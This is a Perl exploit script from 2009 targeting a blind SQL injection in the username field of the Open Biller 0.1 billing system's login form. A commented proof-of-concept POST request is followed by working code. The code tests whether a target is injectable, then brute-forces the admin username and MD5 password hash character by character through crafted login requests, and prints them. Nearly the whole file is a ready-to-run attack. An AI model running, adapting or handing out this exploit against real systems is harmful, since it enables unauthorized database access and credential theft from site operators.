|
#!/usr/bin/perl=0D
#=0D
#------------------------------------------------------------------------=0D
#(Post Form login var 'username') BLIND SQLi exploit--Open Biller 0.1-->=0D
#------------------------------------------------------------------------=0D
#=0D
#CMS INFORMATION:=0D
#=0D
#-->WEB: http://sourceforge.net/projects/geekbill/=0D
#-->DOWNLOAD: http://sourceforge.net/projects/geekbill/=0D
#-->DEMO: N/A=0D
#-->CATEGORY: CMS / Portal=0D
#-->DESCRIPTION: Open Biller aims to to be a the best open source billing=0D
# system on the planet.The system is written in PHP/MYSQL...=0D
#-->RELEASED: 2009-05-31=0D
#=0D
#CMS VULNERABILITY:=0D
#=0D
#-->TESTED ON: firefox 3=0D
#-->DORK: N/A=0D
#-->CATEGORY: BLIND SQLi exploit=0D
#-->AFFECT VERSION: CURRENT=0D
#-->Discovered Bug date: 2009-06-09=0D
#-->Reported Bug date: 2009-06-09=0D
#-->Fixed bug date: N/A=0D
#-->Info patch: N/A=0D
#-->Author: YEnH4ckEr=0D
#-->mail: y3nh4ck3r[at]gmail[dot]com=0D
#-->WEB/BLOG: N/A=0D
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.=0D
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)=0D
#=0D
#=0D
#------------=0D
#CONDITIONS:=0D
#------------=0D
#=0D
#magic quotes=OFF=0D
#=0D
#---------------------------------------=0D
#PROOF OF CONCEPT (SQL INJECTION):=0D
#---------------------------------------=0D
#=0D
#POST http://[HOST]/[PATH]/index.php HTTP/1.1=0D
#Host: [HOST]=0D
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10=0D
#Referer: http://[HOST]/[PATH]/=0D
#=0D
#username=%27+or+1%3D0%23&pass=1111&submit=Login=0D
#=0D
#username=%27+or+1%3D0%23&pass=1111&submit=Login=0D
#=0D
#=0D
#######################################################################=0D
#######################################################################=0D
##*******************************************************************##=0D
## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ... ##=0D
##*******************************************************************##=0D
##-------------------------------------------------------------------##=0D
##*******************************************************************##=0D
## GREETZ TO: SPANISH H4ck3Rs community! ##=0D
##*******************************************************************##=0D
#######################################################################=0D
#######################################################################=0D
#=0D
#=0D
use LWP::UserAgent;=0D
use HTTP::Request;=0D
#Subroutines=0D
sub lw=0D
{=0D
my $SO = $^O;=0D
my $linux = "";=0D
if (index(lc($SO),"win")!=-1){=0D
$linux="0";=0D
}else{=0D
$linux="1";=0D
} =0D
if($linux){=0D
system("clear");=0D
}=0D
else{=0D
system("cls");=0D
system ("title Open Biller 0.1 Blind SQL Injection Exploit");=0D
system ("color 04");=0D
}=0D
}=0D
sub request {=0D
my $userag = LWP::UserAgent->new;=0D
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');=0D
$request = HTTP::Request -> new(POST => $_[0]);=0D
$request->referer($_[0]);=0D
$request->content_type('application/x-www-form-urlencoded');=0D
$request->content($_[1]);=0D
my $outcode= $userag->request($request)->as_string;=0D
#print $outcode; #--> Active this line for debugger mode=0D
#print $request->as_string; #--> Active this line for debugger mode=0D
return $outcode;=0D
}=0D
sub error {=0D
print "\t------------------------------------------------------------\n";=0D
print "\tWeb isn't vulnerable!\n\n";=0D
print "\t--->Maybe:\n\n";=0D
print "\t\t1.-Patched.\n";=0D
print "\t\t2.-Bad path or host.\n";=0D
print "\t\t5.-Magic quotes ON'.\n";=0D
print "\t\tEXPLOIT FAILED!\n";=0D
print "\t------------------------------------------------------------\n";=0D
}=0D
sub testedblindsql {=0D
print "\t-----------------------------------------------------------------\n";=0D
print "\tWEB MAYBE BE VULNERABLE!\n\n";=0D
print "\tTested Blind SQL Injection.\n"; =0D
print "\tStarting exploit...\n"; =0D
print "\t-----------------------------------------------------------------\n\n";=0D
}=0D
sub helper {=0D
print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n";=0D
print "\t[!!!] USAGE MODE: [!!!]\n";=0D
print "\t[!!!] perl $0 [HOST] [PATH]\n";=0D
print "\t[!!!] [HOST]: Web.\n";=0D
print "\t[!!!] [PATH]: Home Path.\n";=0D
print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n";=0D
}=0D
sub brute_length{=0D
#Username length=0D
$exit=0;=0D
$i=0;=0D
while($exit==0){=0D
my $blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHERE+ID=1)=".$i++."#&pass=1111&submit=Login"; #injected code=0D
$output=&request($_[0],$blindsql);=0D
if($output =~ (/Incorrect password, please try again./)){=0D
$exit=1;=0D
}else{=0D
$exit=0;=0D
}=0D
#This is the max length of username=0D
if($i>60){=0D
&error;=0D
exit(1);=0D
}=0D
}=0D
#Save column length=0D
$length=$i-1;=0D
print "\t<<<<<--------------------------------------------------------->>>>>\n";=0D
print "\tLength catched!\n";=0D
print "\tLength Username --> ".$length."\n";=0D
print "\tWait several minutes...\n";=0D
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";=0D
return $length;=0D
}=0D
sub exploiting {=0D
#Bruteforcing values=0D
$values="";=0D
$k=1;=0D
$z=45;=0D
while(($k<=$_[1]) && ($z<=126)){=0D
my $blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login";=0D
$output=&request($_[0],$blindsql);=0D
if($output =~ (/Incorrect password, please try again./))=0D
{=0D
$values=$values.chr($z);=0D
$k++;=0D
$z=45;=0D
}=0D
#new char=0D
$z++; =0D
}=0D
return $values;=0D
}=0D
#Main=0D
&lw;=0D
print "\t#######################################################\n\n";=0D
print "\t#######################################################\n\n";=0D
print "\t## Open Biller 0.1 Blind SQL Injection Exploit ##\n\n";=0D
print "\t## Blind SQL Injection Exploit ##\n\n"; =0D
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";=0D
print "\t## Author: Y3nh4ck3r ##\n\n";=0D
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";=0D
print "\t## Proud to be Spanish! ##\n\n";=0D
print "\t#######################################################\n\n";=0D
print "\t#######################################################\n\n";=0D
#Init variables=0D
my $host=$ARGV[0];=0D
my $path=$ARGV[1];=0D
$numArgs = $#ARGV + 1;=0D
if($numArgs<=1) =0D
{=0D
&helper;=0D
exit(1); =0D
} =0D
#Build uri=0D
my $finalhost="http://".$host."/".$path."/index.php";=0D
$finalrequest = $finalhost; =0D
#Testing blind sql injection and magic_quotes (any error?)=0D
$send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login";=0D
$output1=&request($finalrequest,$send_post1);=0D
$send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login";=0D
$output2=&request($finalrequest,$send_post2);=0D
if ($output1 eq $output2)=0D
{ =0D
#Not injectable=0D
&error;=0D
exit(1); =0D
}else{ =0D
#blind sql injection is available=0D
&testedblindsql;=0D
}=0D
#Bruteforcing length=0D
$length_user=&brute_length($finalrequest); =0D
#Bruteforcing username...=0D
$user=&exploiting($finalrequest,$length_user,'username');=0D
#Bruteforcing password md5 hash...=0D
$pwhash=&exploiting($finalrequest,32,'password');=0D
#final checking=0D
if((!$user) || (!$pwhash)){=0D
&error;=0D
exit(1);=0D
}=0D
print "\n\t\t*************************************************\n";=0D
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";=0D
print "\t\t*************************************************\n\n";=0D
print "\t\tAdmin-username: ".$user."\n";=0D
print "\t\tAdmin-password: ".$pwhash."\n\n";=0D
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";=0D
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n";=0D
print "\t\t<<------------------------EOF---------------------->>\n\n";=0D
exit(1);=0D
#Ok...all job done